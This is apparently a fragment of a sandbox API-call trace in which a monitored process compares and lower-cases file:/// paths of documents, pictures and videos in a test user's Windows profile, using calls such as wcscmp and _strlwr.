[0079.495] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/pvi1bvfiliqmdkwr.jpg") returned -1
[0079.495] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/u%20x2wz014nno431w.ods") returned -1
[0079.495] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/h2cb7jajw.flv") returned 1
[0079.495] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/vajlxu.png") returned -1
[0079.495] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/josiaz/aeprpt-%20br_yutu-.swf") returned -1
[0079.496] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/yaqsguigi.bmp") returned -1
[0079.496] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/jtlncq7xp14exqse.gif") returned -1
[0079.496] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/yjkdm-.bmp") returned -1
[0079.496] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/myvtc.swf") returned -1
[0079.496] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_yvkle%2090dkso.png") returned -1
[0079.496] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/n6il-.docx") returned -1
[0079.496] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/lpoiy2.odp") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/1h-emphi.docx") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/whpmoqfwzkb.csv") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/s2oohh8l.xlsx") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/appdata/roaming/_svemcyosgi9z.gif") returned 1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/x%20zf.ots") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/wiblbzdzcgvsaek0.gif") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/qbj9kmkrnritnjjczm.png") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/8--huyyjvzb64.swf") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/dgbvew5txb_of.pptx") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/3iszptsfkc.pps") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/4xsp.doc") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/gm5jte.png") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/87gn.png") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/4plh_a-eec.doc") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/genq52xzytg.swf") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/i6q4ouxy.swf") returned 1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/e5q5mim%20%20jr.docx") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/eb2hhnlry-lic.csv") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/ehtqo4ki.png") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/6fyo-5qa.pps") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/appdata/roaming/ionye%20n-y0yof.rtf") returned 1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/pzdszbvbaqd.pps") returned -1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/kxnvh5qb%20v.xlsx") returned 1
[0079.497] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/rthnmpt4.flv") returned -1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/h8t9gaqgi.csv") returned -1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/hqgdu8.xlsx") returned -1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/o_m4tlnnqh_j6l.flv") returned 1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/limz5v.csv") returned -1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/ywyoxuxawfnzgqi3r.pptx") returned -1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/4qaggwk3%20all.doc") returned -1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/pg%20vt.swf") returned -1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/rtshl9p-.flv") returned -1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/appdata/roaming/k5kcsxnzz586a.mkv") returned 1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/pktpgto-.odp") returned -1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/db%20t5t-sbxsujrv0c.flv") returned -1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/p_8z9o.odp") returned -1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/t1kkmdu3tofb.bmp") returned -1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/uezrn08sfabq3k36bwj.png") returned -1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/josiaz/sfxq3ziiymv14cjiyaox.flv") returned -1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/appdata/roaming/j_52vz9ulujpr%205aiz.jpg") returned 1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/ncs6ha0jwetbuz.jpg") returned -1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/4%20u_4u6ls4.ods") returned 1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/jfci.jpg") returned -1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/-hs5z7.mkv") returned -1
[0079.498] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/ihug/t1qoetz4ekzwcx.pps") returned 1
[0079.499] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/g7ihxxpwmul67ynxwjuy.odp") returned -1
[0079.499] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hgxqnnq3mleakolmso.jpg") returned -1
[0079.499] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png") returned -1
[0079.499] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/tghk.docx") returned -1
[0079.499] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/gfqdbs7ski.jpg") returned -1
[0079.499] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/j0tfq.pptx") returned -1
[0079.499] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/dxoeo.jpg") returned 1
[0079.499] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/mpvc3rk.swf") returned -1
[0079.499] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/o0jasu4fw456esf.gif") returned -1
[0079.499] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/numnzhof36r.png") returned 1
[0079.499] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/eqeagiu6sfywa.gif") returned -1
[0079.499] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/appdata/roaming/qffjmw5qb0hkk.odp") returned 1
[0079.499] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/gfs_u1.bmp") returned 1
[0079.499] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/po5dzd.png") returned -1
[0079.499] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/6%20%20ld0epzn54nf6f62.pdf") returned -1
[0079.499] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/db_m.pptx") returned -1
[0079.499] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/ihug/5vgrnxxmt0.jpg") returned 1
[0079.499] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/ns6oxgxy5z4yhi.gif") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/jdiiemseuyip28.xlsx") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/thid1s161xflbvs1qvby.mkv") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/sq4zs.odt") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hvddhydd.gif") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/bscqw.odt") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/81snq.bmp") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/mso-zv%20iw0fbw4-p3v.bmp") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/wozzxzbxqscnly17n0.xlsx") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/8cb1qu.gif") returned 1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/appdata/roaming/3adm.jpg") returned 1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/rxgmrbg_.ppt") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/appdata/roaming/1c5hjvxp_vir2ayss.ots") returned 1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/josiaz/nbjtuf2im6kaee-b8aa.mkv") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/qsv5elm1q.png") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/onhdsbrjgnrmzx3mz49l.bmp") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png") returned -1
[0079.500] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif") returned 1
[0079.501] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned -1
[0079.501] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned -1
[0079.501] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned -1
[0079.501] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned -1
[0079.501] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 1
[0079.501] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned -1
[0079.501] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned -1
[0079.501] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned -1
[0079.501] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 1
[0079.501] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned -1
[0079.501] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned -1
[0079.501] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.501] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned -1
[0079.501] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.501] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.501] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned -1
[0079.501] wcslen (_String="file:///c:/users/atveydl98z/desktop/olxk.ots") returned 0x2c
[0079.502] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.502] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/3NEJQPyX%20E.rtf" | out: _Str="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf") returned="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf"
[0079.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf") returned 53
[0079.502] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/olxk.ots") returned -1
[0079.502] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/ec0l%20bsovag9a8ny6n.bmp") returned -1
[0079.502] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/pan9h-9jw%20sz4.doc") returned -1
[0079.502] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/appdata/roaming/s0hxf5vbqg3tuou7yaih.png") returned 1
[0079.502] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/_vv7923nmd.gif") returned -1
[0079.502] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/t5_cs_ek5wgumutxo.odp") returned -1
[0079.502] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/videos/wfg.mkv") returned -1
[0079.502] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/sipbk.bmp") returned -1
[0079.502] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/2grp.xlsx") returned -1
[0079.502] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/appdata/roaming/dottc_9plzq5o597imze.ots") returned 1
[0079.502] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/gu-f.gif") returned -1
[0079.502] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/mcygb.pptx") returned -1
[0079.502] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/np2rpt4nzhnmzvjocd.jpg") returned -1
[0079.502] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/zkrsd-4qoax5jm7.png") returned -1
[0079.502] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/eorqdbqjtjf1ohk.png") returned -1
[0079.502] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/3tyatzvc1z7khwie.gif") returned -1
[0079.502] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/glcl.pptx") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/tqck56jeac.png") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/xtvhwzic5kkeheqytagm.xls") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/u4m-9pzjcphsi6.swf") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/appdata/roaming/61wsaurg.bmp") returned 1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/nnht-qixy.docx") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/hdlvazkif3vkccxbdo.docx") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/videos/josiaz/pgp_.mkv") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/l%20sigus.swf") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/pvi1bvfiliqmdkwr.jpg") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/u%20x2wz014nno431w.ods") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/h2cb7jajw.flv") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/vajlxu.png") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/videos/josiaz/aeprpt-%20br_yutu-.swf") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/yaqsguigi.bmp") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/jtlncq7xp14exqse.gif") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/yjkdm-.bmp") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/videos/myvtc.swf") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_yvkle%2090dkso.png") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/n6il-.docx") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/lpoiy2.odp") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/1h-emphi.docx") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/whpmoqfwzkb.csv") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/s2oohh8l.xlsx") returned -1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/appdata/roaming/_svemcyosgi9z.gif") returned 1
[0079.503] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/x%20zf.ots") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/wiblbzdzcgvsaek0.gif") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/qbj9kmkrnritnjjczm.png") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/8--huyyjvzb64.swf") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/dgbvew5txb_of.pptx") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/3iszptsfkc.pps") returned -1
